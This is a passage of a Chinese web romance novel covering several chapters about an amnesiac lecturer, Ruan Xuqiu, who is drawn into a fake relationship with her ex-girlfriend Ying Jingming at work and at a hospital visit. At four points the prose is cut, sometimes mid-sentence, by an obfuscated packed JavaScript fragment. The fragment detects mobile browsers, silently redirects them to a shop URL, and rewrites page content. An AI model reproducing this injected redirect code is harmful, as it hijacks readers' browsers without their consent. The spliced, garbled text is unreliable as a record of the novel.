“我怪的本来就是你!”阮序秋低吼,“应景明,我什么时候成你未婚妻了?你别给我得寸进尺!” “我也不想的呀。”应景明一脸无辜,“可某人半夜跟我说要结婚,我激动得当场就通知家里了。现在你要我怎么办?说我又被甩了?阮老师,做人要负责的。” “去你的负责!应景明,太爱面子是病,得治!” 应景明这厮居心叵测,竟然趁机对厨房扬声:“徐姨,序秋说她喜欢吃海鲜,让你帮忙多准备点。” 徐姨此时正在帮她填满冰箱,说是给她赔礼道歉,这会儿应声抬头,“瞧我这猪脑子!怎么没有准备海鲜,我这就联系司机去准备。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004776|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不用不用!徐姨,我没那么说!” “要的!一定要的!” “真不用!” 徐姨没听她拒绝,兀自说东西一会儿就送来,说都是处理好的,让她放心去上班。 阮序秋一对秀眉拧巴起来。 阮序秋不会做饭,也没有那个习惯,但就是说,拿人手短吃人嘴软,这个面子不好不给。 应景明见她有所松动,跟阮明玉对了对视线。 阮明玉早就想要开口了,一双眼珠子登时亮起来,“那个,我能打包早餐带回学校跟室友一起吃么?味道真的很不错诶,徐姨的手艺简直是酒店的水准!” “小阮小姐喜欢就好,”徐姨不知从哪里拿出一沓打包盒,“需要打包哪几样?” “太好了!我这就问问室友!” 片刻,视频电话打通了,那边还没睡醒,困倦地咕哝了一声什么。 “赶紧醒醒,”阮明玉将镜头反转,摄像头对准桌面琳琅满目的早餐,缓慢转了一圈,落在应景明的脸上,“你们真是赚到了,我姑嫂给我姑姑准备的早餐,做多了,让我一会儿打包给你们带去。” 应景明一点不害臊,冲着摄像头:“嗨,你们好啊。” “哇塞,姑嫂好!姑嫂辛苦了!我这就叫其她人起床!” 紧接着是此起彼伏的叫早声。 阮序秋无语望天。 她感觉自己好像一夜之间掉进了一本脑残甜宠网文里,碰见的每个人都浮夸得离谱。 真不知道这种莫名其妙的展开究竟什么时候是个头…… 还在发呆,阮明玉的手机就挪到阮序秋的面前,“姑姑,这是我的室友,你见过的。” 阮序秋浑身一凛,再回神,眼前手机屏幕上几个小姑娘匆匆一晃而过,只听见两道声音说: “姑姑好!” “谢谢姑姑赏赐的早餐!” 阮序秋不知道说些什么,只干巴巴地回了几句“你们好”。 镜头很快挪回去,“好了好了,别狗腿了,赶紧说要吃什么。” “我要那个那个!啊,这个也不错!” “啊!那个松饼做得好漂亮!” “培根煎蛋,谢谢,如果有喝的就更好了。” “大胆!你还敢提要求!” 那边几个女孩聊得热火朝天,这边阮序秋却只想逃离现场。 电话终于挂断,明玉风风火火进厨房帮徐姨打包早餐。四下无人,她放下筷子,对应景明冷冷道:“戏也陪你演完了,我现在可以走了吗?” 桌对面,应景明目光带笑,像只偷腥的猫。 她不答,却用口型戏谑地说:“姑嫂好~”似乎对此很是满意。 阮序秋瞬间从耳朵尖热到脖子根。 什么姑姑姑嫂,简直莫名其妙! 阮序秋忍无可忍,抓起包,几乎是逃离现场般冲向门口。 12. 第十二章 手刚碰到门把,就被应景明温热的手掌覆住。 “别急着走嘛阮老师,你难道没什么想要问我的?” 她的声音里带着气音,那轻浮的劲儿让阮序秋一股无名火。 她猛然将手抽回来,压声怒喝:“问什么问!应景明,我警告你别得寸进尺,刚才我已经配合你了,别想赖我一辈子!” “是么?”应景明从容不迫扶着门,那张脸照旧笑眯眯,“那你打算怎么跟主任解释我们之间的事,说你所提交的辞职申请是认真的?” “辞职……申请?” “上周五你说想要换换环境,跟主任提交了辞职信。”应景明好整以暇地看着她,“主任特别反对同性恋情,然而你不光跟我交往了七年,还公私不分闹离职,你觉得主任会怎么看你?” 这件事确实超出了阮序秋的预料,她没想到自己竟然会这么没出息。 不过也就只有意外而已。大学时期她因为诸多比赛及奖学金的签字,跟主任打过几次交道。她觉得主任是欣赏她的,因为她是认真的好学生。她相信工作之后也是如此,她有这个信心。 想到此,阮序秋冷静道:“辞职的事我会亲自跟主任解释,主任虽然严厉,但不是不讲道理的人,别想危言耸听吓唬我。” 应景明闻言却笑意更浓,“好,就算不提主任,但我想你应该不会想要被人发现,曾经意气风发的自己现在只是一个二十一岁的学生才对。” 这话终于戳到了阮序秋的肺管子。 她确实不想被发现失忆,不然昨晚也不至于忐忑到彻夜难眠。 这件事毕竟关乎她的工作、她的工资以及她的房子。 应景明看出她的动摇,凑近,诱惑的口吻道: “这样,你帮我应付家里,我帮你适应现在的生活,咱们互帮互助。” “你想想,只要跟我同居假扮情侣三个月,眼前这些麻烦就能烟消云散,不好么?” 阮序秋手指紧攥,片刻又松开,“这件事我可以自己应付,不需要你操心。” 言罢,避开视线冲卧室喊:“明玉,好了么?” “来了来了!” 阮序秋转身要走,又听见应景明在她身后笑,“阮老师原来这么有信心啊。” 阮序秋脚步一顿,快速离开。 *** 应景明换了一辆车,就停在楼下那棵白蜡树下。虽然看着低调了不少,但是明眼人一看就明白,这辆价格也不斐。 刚走到车边,又碰见上回那个大妈。她手里提着附近早餐店的小笼包和豆浆,嫌弃地瞥着那辆白车,“啧,这车看着比上回那辆还贵。”一回头看见阮序秋,立刻换上讪讪的笑。 “阮老师去上班啊。” “是啊……” 注意到她身后的应景明,大妈表情万般变化,最终定格在一个略显扭曲的笑容上,冲着应景明点头示意。 应景明这厮一点不客气,说着:“你好,我以后也住白马湖了,请多指教。”还要伸手跟人家握手。 脸皮厚得可怕。 阮序秋心里挺嗤之以鼻,嘴上却没吐槽。 她全程闭着嘴,不,应该说全程都在思考应该怎么把失忆这件事应付过去。 是的,她根本没有那个信心。 她不擅长社交,更不擅长撒谎,如果一个不小心露馅儿了,她一定会一口承认下来,然后自首般将事情经过从头到尾交代干净,到时…… 从白马湖到学校开车也就五六分钟,想着这些,阮序秋益发觉得度日如年,坐立难安。 她看手机,看窗外,看同事的朋友圈。 结果怕什么来什么,才到校门口,一辆车就并驾齐驱来到她们旁边。 车窗下来,驾驶座的女性熟络地跟应景明打招呼,说又一辆新车,还是什么什么限定款,应老师什么时候这么不低调了?应景明开玩笑说:“姐们儿都低调五六年了,偶尔也得换换风格。” “终于不装穷人?” “哪装了,怎么还污蔑人呢。” 两人有说有笑,一旁阮序秋却是浑身僵硬,恨不得原地隐身起来。 可惜无济于事,对方还是注意到了坐在副驾驶的她。 “阮老师?哈,果然,你们没分手,”她乜斜着应景明,“我就说怎么突然转性变成金孔雀了。” 阮序秋一怔,徐徐将视线挪过去。 才要张口回应,却见那是一张略有些眼熟的脸。 愣神的片刻,应景明适时接过话峰,“什么分手,你就不能说点吉利的?” “这还不吉利?昨天主任问我阮老师情绪怎么样,辞职是不是冲动之举。我可帮你们说了不少好话,还不赶紧谢谢我。” 应景明满意了,笑回一句改天请你吃饭,终于驱车离开。 汽车平稳行驶,沿着主干道一路开往食堂。 空气静下来,坐在后排的明玉问:“那是谁?” “我办公室的同事,姓许。”说着,应景明用眼尾瞥了瞥她,“别紧张,你认识的。” 没错,那确实是许老师,刚才刷朋友圈的时候阮序秋还刷到了她的动态。 阮序秋却不想承认,“我不认识,更没紧张。” 她绝对紧张了,事实上,应景明的安抚甚至让她更加没底。 仅只是许老师的出现就让她如此不知所措,试想一下她一个还没毕业的学生混迹在一群博士博士后中,真的能够保证不被拆穿么? 阮序秋想到应景明出门前说的话。 互帮互助……真的可行么? *** 不一会儿,上早八的学生陆陆续续出现在道路前方。 每行驶一寸,就有学生好奇地回头看。她们先看车标再看车牌,眼中浮现惊艳,然后让到一边往车窗里面看,说果然又是应老师和阮老师。 阮序秋低着头,不自然地避开学生探究的目光。 一旁应景明却宛如被簇拥的明星,稀松平常,从容不迫,还冲学生点头示意。 阮序秋牙根发痒,到底把话咽下去什么都没说。 终于到达食堂大门前,阮序秋忙挤出一个不那么局促的笑容。 应景明看见,觉得有点好笑,“放松点,又不是上战场。” 明玉也安抚,说她室友都很喜欢她,不会有事的。 站着说话不腰疼,难道是她不想放松么? 阮序秋有些烦躁,“都说不紧张了。” 轿车停靠路边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004777|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不远处明玉的室友立马迎上来,学着明玉喊她们:“姑姑好,姑嫂好!” 纵使已经做好心理准备,可响亮的问候还是让阮序秋尴尬地缩起了脖子,“你、你们好……” 与她相反,应景明手肘撑着窗框,笑得坦然又受用:“我们还没结婚呢,不过借你们吉言了。”说完,还意味深长地瞥了她一眼,“我争取早日转正。” 明玉倒是没明着起哄她们,但是把应景明全方位夸了个遍,说她怎么怎么好、怎么怎么体贴。看上去像是对室友说的,其实是对她这个姑姑说的。 阮序秋听得脚趾抠地。 忍无可忍之际,一个怯怯的声音突然响起,“阮老师,你们是真的复合了么?” 阮明玉只有两个舍友,问这话的是文静内敛的妹妹头女孩。 她认真地看着她们,特别小心翼翼的语气,可厚重的刘海下目光如炬。 完了。阮序秋心里咯噔一下。 也许是做贼心虚的缘故,一瞬间,她感觉自己被看穿了,感觉自己二十八岁的皮囊被卸了下来。 周围八只眼睛齐齐看着她,包括应景明。 “是啊,复合,还是没复合呢?阮老师。”她笑着,语气在她耳边暧昧地拖慢、拖长。 这明晃晃就是胁迫! 如果可以,阮序秋肯定会毫不犹豫说没有,自己怎么可能跟她复合。 可是她不能。 为了工作事业和房子,阮序秋硬着头皮点头然后微笑,“是、是啊……” 好在女孩没有继续追问,得到肯定的回答后,她缓缓扬起一个欣慰乃至陶醉的表情。 “真的吗?那真是太好了~阮老师,你们一定要幸福啊~” 太好了?哪里好了?还幸福,她怎么感觉这姑娘才是真幸福上了。 “……谢谢,我们会的。” *** 直到阮明玉和室友们走远,车子重新发动,阮序秋才从莫名其妙的氛围里回过神。 阮序秋从小性格就不好惹,学生时期,班里女生男生都怕她,后来情窦初开,也见她们起哄班里的“绯闻情侣”,可这种事从来没有发生在她的身上过。 这还是破天荒头一遭。 阮序秋强行压下那股羞愤,转过头看向应景明。 “你让我做的我已经做了,应景明,你最好是真有办法帮我应付过去,不然我会让全世界知道你是怎么被我甩掉的。” 阮序秋心里憋着一口气,说得不留情面。 应景明却不急,眉眼弯弯从前台拿出一个盒子递过来,“放心,我怎么可能忍心阮老师出丑呢?喏,这个给你。” 阮序秋低头一看,盒子上写着“AI智能眼镜”几个字。 她没有立刻去接,审视了片刻才开口: “一个星期。一个星期后我会把眼镜还你,相对的,请你在那之前把卖房的所有合同协议,白纸黑字放到我面前。我要确认这到底是我妈的意思,还是你应大小姐自导自演的一出戏。” 应景明闻言,脸上的戏谑淡去少许。她若有所思地看了阮序秋几秒,缓缓勾起嘴角:“可以。阮老师学会谈条件了,有进步。” 阮序秋接过盒子,动作干脆不带一丝犹豫。 13. 第十三章 对于上课这件事,阮序秋并不担心。 她干什么都认真,包括每节课的备课,只要好好预习,然后根据以前备课的内容依次讲过去就行。且她目前手头还没有学术工作,唯一需要担心的就只有和办公室同事的相处问题。 二十一岁和二十八岁不可能没差别,如果被发现,校方指不定会觉得她难当大任,然后让她回家休息几个月。 到时要真恢复记忆了还好,要是没恢复,所面临的就会是失忆加失业的双重困境。 鉴于此,她不得不按应景明的指示,戴上那副什么鬼的AI眼镜。 “应景明,我到了。”站在应景明所指定的办公室门前,她对着空气说。 “收到,”眼镜腿里传来对方带笑的声音,“进去熟悉熟悉环境吧。” 阮序秋深吸一口气,郑重其事点头。 她小心翼翼推开办公室门,然而…… 里面空无一人。 四人位的办公室,快九点了,办公室里只有外面吹进来的萧瑟秋风。 其她老师呢?难道都有课?这概率也太低了,还是说有什么她不知道的活动? 阮序秋打开软件查看消息,然而翻了几个工作群,还是一无所获。 阮序秋一头雾水,“应景明,其她人都去哪里了?” “这个啊,一号位请产假了,二号位去咱们姐妹校学术交流去了。” “……” “那四号位呢?” “上课,一会儿回来。” 应景明说得自然而然,没有丝毫迟疑。 显而易见,这些是她早就知道的。 阮序秋眉头抖了抖,一把将鼻梁上的新眼镜抓下来,重重拍在桌上。 这副眼镜并不是普通的眼镜,而是能够视频联网的智能眼镜,眼镜框正面左上角有一枚微型摄像头,眼镜腿两侧分别是开关和充电槽。 此前应景明将眼镜交给她,让她到办公室后打开视频通话,她会通过眼镜告诉她谁是谁,又该如何应对。 虽然这个早上她被应景明各种拿捏威胁,但不得不说那时她心里其实挺感激,觉得这货好歹靠谱了一回,特地买副眼镜给她,想必早就猜到她会为此苦恼。 可结果呢?办公室根本没人也就算了,这应景明竟然还一副让她大可放心的口吻! 想起一早上的提心吊胆,阮序秋就气得咬牙切齿火冒三丈。 可恶!猪油蒙心才会信了她的鬼邪! *** 靠山山倒靠人人跑,阮序秋下午还有课,没时间继续纠结下去。 她将手机设置成静音,打开电脑专心致志投入工作。 阮序秋大学主修政治学,目前教大二的政治学原理,作为基础的理论课程,课程不算难,且她擅长学习,对照备课本将书看个几遍,就基本心里有数了。 唯一麻烦的点在于大学授课用ppt,因为暂时没找到配套课件被自己放在哪里,这个ppt只能临时自己做。 一上午阮序秋基本都在忙活这件事,下课铃突然响起,才发现已经中午十二点。 二十八岁不比二十一岁,此时阮序秋浑身腰酸背痛。 她转了转酸疼的脖子,想到早上出现在校门口的女性,一面拧开保温杯喝水,一面打开微信。 前两天因为和应景明分手的事情,阮序秋本来已经打消主动去联系许老师念头。她以为一切都可以抛诸脑后,但显然现实并非如此。 眼下发生了这样的事,她想自己可能还是需要找机会和对方聊聊,关于她和应景明的过去,总不能一直被应景明牵着鼻子走。 而至于怎么聊…… 点击通讯录右侧的字母X,下滑找到“许老师”三个字,阮序秋忽然停住动作。 犹豫片刻,她点进许老师的朋友圈,决定先通过此简单了解对方。 粗略翻了翻,阮序秋发现许老师发朋友圈的频率不高,基本维持在半个月两三条的数量。最新一条是自拍,也就是早上她刷到的那条。图片内容是昏暗的酒吧,她面对镜头微笑,她身边坐着个看不清容貌的女人。 许老师喜欢喝酒,可以以此当作话题。 略作总结,阮序秋继续往下滑动。 下一条动态也是自拍,主角是她…… 看清图片内容后,阮序秋蓦然怔住。 自拍的主角竟然是许老师和……她大学的学姐,背景是一间夜晚的西餐厅,附加文案:「恭贺熹妃回宫~」 回宫?什么意思? 学姐……要回国了么? 阮序秋的心跳漏了一拍。 她不由自主点开图片放大,恍然如梦地看着手机里的学姐。 七年后,学姐变得比记忆中更为美丽也更为成熟。 年少求而不得的酸涩,七年来与应景明的纠缠,此刻都化为一种难以言喻的茫然。 如果……如果一切能够重来,她的人生会不会是另一番光景? 这个念头像一根细针,扎得她心口微微刺痛。 退出界面,阮序秋想起自己似乎有学姐的微信。 她犹豫要不要向学姐问个好,一个点赞的红心特效却在这时出现在屏幕上。 手滑了! 忙要取消,一道敲门声又自门外响起。 阮序秋莫名心虚熄灭屏幕,匆忙看去,赫然出现在办公室门口的人竟然是应景明。 那个七年后莫名其妙变成她女朋友的主人公。 “阮老师,一起吃午饭啊。”她扒拉着门框笑眯眯地说。 阮序秋本来都已经把早上的事情抛到脑后,可想到学姐,想到这个人嬉皮笑脸戏弄自己,突然间的落差让她心里那把怒火再一次中烧。 她收起手机起身往外走,板着脸,打算就此无视她。 应景明没脸没皮惯了,拦住她道:“阮老师怎么不理人呢?” 阮序秋翻白眼,往左迈一步,应景明也左,又往右迈一步,应景明也右。 “还在生我的气?”她低低地问。 阮序秋忍无可忍抬头,直眉瞪眼地冲着她的脸:“没有生气,我一点也不生气,不就是被你当猴耍了嘛,我干嘛要生气!” 应景明没搭腔,她自上而下地笑看着她。 又是那种大人面对小孩的目光,带着温柔的玩味。 四目相接,莫名其妙的缄默让阮序秋头脑更热,胸脯轻微地起伏,扭头就走。 应景明跟上来,继续在她屁股后面叽叽喳喳:“电梯在后面,食堂也在后面,阮老师要去哪里?” “别生气嘛,我请你吃饭好不好?” 阮序秋没有理会。 她怕自己一开口就会说出有违师德的话来。 谁知应景明紧追不放,还状似十分无奈地叹气,“唉,生活就是这样,充满着各种形式的意外。” “意外?” 阮序秋一下毛了,猛然踅身瞪视,“应景明,你这么耍我,有脸说是意外?” “话不能这么说,我那还不是为了让你放心,你说你都紧张得失眠了,我身为女朋友怎么也该表示表示。” “表示个屁!还女朋友,我上辈子作孽才会变成你的女朋友!你给我松手!挤什么眼你挤眼!我告诉你!我再也不会相信你说的鬼话了!” 阮序秋越说越气,话音落下,便愤然旋身要走。 谁知一转身,却看见一位四五十岁的妇人悄无声息出现在她的面前。 此人将亮棕色的乐福鞋站成小八字步,身材矮胖,一双眸子却很精明,正是李利娟李主任。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004778|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 与阮序秋所想不同,此时李利娟看着她,眼里丝毫没有七年前该有的赞赏,有的只有严厉的审视。 阮序秋意识到不对,忙闭上嘴端正站姿。 她不安地看向应景明。 应景明毫无自觉,还是笑嘻嘻,“李主任,您还没吃饭呐。” “嗯。”李利娟下巴微抬,微眯起眸子打量她们,“我听说你们又和好了?” 应景明轻车熟路搂住她的肩,“是啊,我们感情太深厚了,那些都是小吵小闹,对吧阮老师。” “额、嗯……” “我说呢。”李利娟会意点头,脸上也是特别假的笑,“既然如此,那阮老师应该不辞职了吧。” 阮序秋努力扯着嘴角说瞎话,“哦,这个啊,不辞了,我们……感情好。” 李利娟闻言,笑着感叹了一句年轻真好,但很快转了话锋,目光锐利地扫向她们:“你们谈恋爱我是不反对的,不过学校不是你们打情骂俏的地方,还是要注意影响,可以么?” 话音落下,不等阮序秋反应就施施然离开。 空气寂静了两秒。 “注、注意影响?” 望着李利娟向电梯走去的背影,阮序秋呆若木鸡地喃喃:“应景明,主任让我注意影响?” 应景明稀松平常地摆手,“我知道你很受打击,不过习惯就好,这七年咱们可是受了主任不少冷眼。” 阮序秋眼前一黑又一黑。 脑补一下,这跟她这个三好学生一夜之间变成班级里老是惹麻烦的吊车尾有什么区别? 对阮序秋来说,这是噩耗中的噩耗,连午饭都没胃口吃了。 她呆呆坐在食堂角落,有一搭没一搭地扒拉着面条。 然而她的面前,应景明一路尾随,还点了和她一样的套餐。 这个人依旧轻松愉快,一面吃一面吐槽食堂阿姨饭给太少了,全然没有将主任的话放在心上。 阮序秋更气闷,她还是要说,七年后的自己怎么会喜欢这个人? 不行,无论如何,不能继续被她玩弄了。 阮序秋垂目冷冷地说:“目前看来我并不需要你的帮助,互帮互助的事还是算了。” “不过因为我今天早上已经配合过你,所以房产证及相关资料你还是要给我看。” “应景明,为了我们各自的事业着想,以后在学校请你不要和我说话。” “而至于房子……如果你要卖,那我们之间的协议也就作废了。” 一口气说完,阮序秋这才抬睫对上应景明的视线。 应景明咬断面条,咀嚼,咀嚼。 阮序秋怕这个人再出什么邪招,趁她没回应,忙不迭补充:“你不回答我就当你默认了。” 终于咽下去,应景明垂目又夹起一筷子面,凑近细细吹着,“阮序秋,你知道李主任为什么看不惯我们么?” “……” “李主任是我们的顶头上司,同样也是明年晋升校主任的热门人选。正如我所说,她特别反感同性恋,觉得同性恋就是小孩子过家家,甚至预备升上校主任就颁布教师办公室恋情、同性恋情禁令。” “这两年我们分分合合,她本来就觉得我们对待感情不认真,你知道我们这时分手会发生什么么?” 阮序秋听明白了,这人见劝不了她,改道德绑架了。 可惜自小学毕业阮序秋就不吃这套了,“我觉得主任说得挺对,值得推广。” 应景明脸色微变,不是慌张,而是变得更为轻松。 还是那种让人火冒三丈的笑,“你可能不知道,大学教师是有学期考核的,为了尽可能拿到高分晋升教授,你做了多少努力应该不用我多说吧。” “所以阮老师,你好好考虑考虑,嗯?” 14. 第十四章 周五的校园比平时更热闹一点,刚下课,学生跟蚂蚁出巢似地往外涌。 一个半小时的课程上得阮序秋身心俱疲,沿着楼道回到办公室,那位办公室仅存的同事陈燕也刚好下班,看见她,笑着问了一句:“阮老师还没走啊。” 阮序秋笑着点头,“刚下课,回来喝口水。” 陈燕刚收拾好东西要走,又想到:“一起走么?还是等应老师来接你?” “一起吧。” 阮序秋挎上包跟上去。 今天这个傍晚透着一股澄澈的蓝,沿着楼道下楼,脚边的影子被拉得细而长。 她们聊着一些有的没的,大多是关于工作的,说她晚上还要上选修课,阮老师明年也该开选修课了吧。阮序秋简单答应了两句,说应该,她倒是不急。陈燕闻言便笑了,“你现在事业爱情双丰收,当然不急。” “对了,你跟应老师这几天怎么回事?又复合了?” 阮序秋心头一紧,面上却只能维持平静,含糊地应道:“嗯,应该……算是吧。” “真好,”陈燕语气羡慕,“你们这恋爱长跑都七年了,感情还这么好,是时候考虑结婚了吧?” “结婚啊……” 这个词像一颗投入冰湖的石子,在阮序秋心里激起一片冰冷的涟漪。 二十一岁的阮序秋对自己的人生规划很清晰,首先,保送研究生后,她需要在两年或者三年后考上博士并留校任教。完成到这一步差不多也就二十八九岁了,再花五年晋升教授,五年不行就十年,总之要在四十岁之前完成这个目标。 四十岁之后,她要正式开始享受人生。假设她能活到八十岁,那她正好用一半的人生做母亲的好女儿,剩下半辈子可以做自己,譬如找一个爱的女人,光明正大生活。 不懂爱的人不知道爱是根本没办法规划的,计划还没过半,原本放在二十年后的爱情就猝不及防提前,即将二十二岁的那个夏天,她和应景明这个女人在一起。 如今,阮序秋的生活节奏已经彻底一团乱麻。从周围陌生的一切,到李主任审视的目光,好像一不小心就会万劫不复。 别说结婚,她甚至对自己的前途都感到迷茫了。 她想到前几天和应景明的对话: “应景明,你这么费尽心思跟我假恋爱,应该不是还喜欢着我吧。” “我不否认我还喜欢你,但我也知道我们恋爱关系的中断是必要的,毕竟你现在心里放着另外一个人。” “我这么做单纯是基于现实的合理考量,你得知道没有你,我丢失的只是面子,但要是没有我,你所面临的问题那可就多了。” “不过不用担心,你也知道我还算聪明,你所担心的那些事我都能帮你解决。” 她承认自己确实被应景明这套说辞动摇了。 她需要一个锚点帮她稳住眼前这艘失控航船。为此,就算被主任嫌弃也是必要的牺牲。 今天正好周五,阮序秋暗下决心一会儿回去就和应景明把这件事交代清楚。 走出教学楼,阮序秋跟陈燕微微一笑,“随遇而安吧,不结婚也挺好的。” “说是这么说,可你之前不是、” “哔哔——” 两声汽车鸣笛声打断了陈燕的话峰。 阮序秋应声看去,一辆熟悉银白轿车停在不远处,车窗下移,应景明探出头笑看着她:“下午好啊阮老师。” *** 她们没有直接回家,应景明说报告出来了,顺便带她去医院面诊。阮序秋没说什么,默许了她的擅作主张。 阮序秋静静地看着窗外的流景,天色渐渐暗了下来,城市的灯光由近至远依次亮起,那种澄澈的蓝变得深邃。 蓝色中,应景明的侧脸隐约透现在的车玻璃上。 这次应景明没走高架,全程不疾不徐地开着,时不时看她两眼。 阮序秋被她看得有些不自在。 假恋爱也是恋爱的一种,在这方面,她还处在小学、不,幼儿园的水平,可应景明可能已经大学或者研究生了。 如果真的开始,面对她的会是那种成人式的关系么? 而且应景明还说喜欢她…… 不对不对,八字还没一撇,她会不会想太多了点。 阮序秋收回神思,蹙眉道:“你就不能专心开车?” “不好意思,只是觉得阮老师做得还不错,”应景明笑面向车前方,“这么多天,阮老师没被陈老师拆穿呢,真是让人欣慰。” “我好歹也快二十二了,你是把我当小孩子了么?” “在处理人际关系这方面,阮老师确实还是小孩子没错。”她将左手伸进上衣口袋,摸摸索索将一个东西贴在了阮序秋的手背,“作为奖励,这个给你。” 阮序秋低头一看,竟然是枚红色的星星贴纸。 瞧不起谁呢! 阮序秋将星星贴回她身上,“谢谢你,但我不需要!” 话虽如此,阮序秋心里其实挺开心。 陈燕早她五六年进校,且不是淮海大学本校毕业的,在此之前,阮序秋对她全然陌生。不光如此,七年后的一切都让阮序秋感到不安,她原本害怕会不会第一天就被拆穿,或者不讨人喜欢的自己早就已经被同事厌烦了。 但现实并没有她想的那么恐怖。 应景明说得没错,她几乎没有社交这根神经,这方面完全是个小孩子,不过这次她顺利应付了下来,是个还算不错的开始。 阮序秋脸颊有些热,轻咳两声端正坐姿,“不说这个了,我们来聊点正事。” “正事?” “有问题?” “没问题,阮老师请说。” “关于上回我说要考虑的事,除了卖房合同,我还有其它条件。”阮序秋顿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004779|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿,声音平静不带一丝波澜,“一会儿回去我会把新版协议打印出来,到时我们商量商量,再决定怎么处理。” 说完,瞥向应景明。 应景明默了须臾,只挑眉说了一个行字。 阮序秋松了口气。 她怕应景明要是现在就问她什么条件,如果被拒绝,她可能就没办法掌握主动权。好在应景明没有。 阮序秋稍微打起精神,觉得自己似乎能够慢慢重拾眼下新生活的运作轨迹,心情也得以放松下来。 *** 然而这样的放松并没有维持多久,因为接下去那场面诊实在太奇怪了,从一开始就透着不对劲。 先从前台两位护士说起。 医院前台,应景明轻点台面说明来意后,那两位护士便对视一眼,“应小姐是么?这边请。”两人绕出来,一面在前面带着路,一面回头冲她笑得意味不明。 没错,确实是意味不明。 阮序秋皱眉,拿手肘碰了碰应景明,“她们认识我么?干嘛这么看我?” 应景明冲她使个看不懂的眼色,没有正面回答。 ?? 阮序秋纳闷,不过暂且没有乱了方寸。 上到四楼,护士台几位工作人员也注意到她。 前台与之简单说明情况后,她们几位的眼神也在瞬间变了,看着她,从恍然大悟慢慢过渡到新奇愉悦。 一位类似护士长的人物满面堆笑走出来,说着这边请为她们带路。 阮序秋感觉浑身都有点不对劲了。这阵仗确定是看病么?怎么感觉像接见什么客人? 她再次用眼神死死锁住应景明,可对方只回给她一个高深莫测的微笑。 前方一间诊室门口,护士已将门打开等候。 阮序秋走过去,回头看了看齐齐灿烂微笑的应景明和护士长两人,满头雾水进入其中。 更奇怪的是,医生的神色也不对劲,她先看报告,再看阮序秋,从她的失忆症状问到家庭情况,最新一个问题是: “这么说你是单亲家庭?” “是、是啊……” “家里长辈是干什么的?” “妈妈是老师,但是医生,您问这个干嘛?” 医生愣了一下,轻咳低头,“没什么,门外的人是你女朋友吧,让她一起进来。” 阮序秋想说不是,又觉得实在没必要和陌生人解释这些。 当然,如果知道医生后面会说些什么,她当下就会严词否认,重复一百遍她和应景明不是情侣,她们没有丝毫关系! 可惜没有如果。 下一刻,应景明就从门外进来。 她扶着门意外道:“林阿姨?” 是的,她竟然认识医生。 这么一想就都说得通了,难怪那些护士都跟看八卦似的看着她们,估计对她们这段情史早就有所耳闻了。 15. 第十五章 想到应景明家里那个浮夸的阿姨,阮序秋悔得肠子都青了。 她觉得应景明身边的人八成都有点毛病,包括应景明本人。 “不是说晚上有会议么?怎么有空来坐诊?”应景明来到她的身边轻轻笑了一声,特别熟稔的口吻对医生说。 医生面对电脑敲敲打打,看上去一本正经,阮序秋却感觉医生似乎有点窘迫。 “会议取消了。” 阮序秋再次碰应景明的手臂,问她这究竟是怎么回事。 话没出口,医生重新拿起那几张报告依次讲解: “目前各项生理指标、脑部影像没发现明显异常。不过你大脑颞叶区域的神经电活动有点不太稳定,这种细微波动在正常人群里比较少见,可能和记忆功能的暂时性紊乱有关,先观察几天,过阵子带上病历来复查。” 最上面那张是黑白的脑部CT,言毕,又将其它报告捏在手里依次浏览,最后停在B超影像上,“其它没什么问题,就是……” 院长林颐放下检查报告,眼神透过厚玻璃镜片依次看向她们,欲言又止。 犹豫片刻,她无奈地叹了口气,郑重其事问出最后一个问题:“你们在一起多久了?” 阮序秋不悦拧眉,合着是应景明家里人来打听她的。 她当然要拒绝,可话到嘴边又想起自己已经答应应景明,只能把话咽回去。 一旁应景明见状,笑盈盈地开了口:“满打满算有七年了。” 林颐放下报告单转面电脑继续打字,“都已经七年了,那方面还是要注意节制点。” 阮序秋满腔的憋闷被这个微妙的措辞掐断,她呆呆地反应了一会儿:“那……方面?” 林颐看她一眼,按下回车键,开药单据从一旁的打印机里吐出来,“纵欲过度可能会引起盆腔炎及其它并发症。” “纵、纵欲?!!” 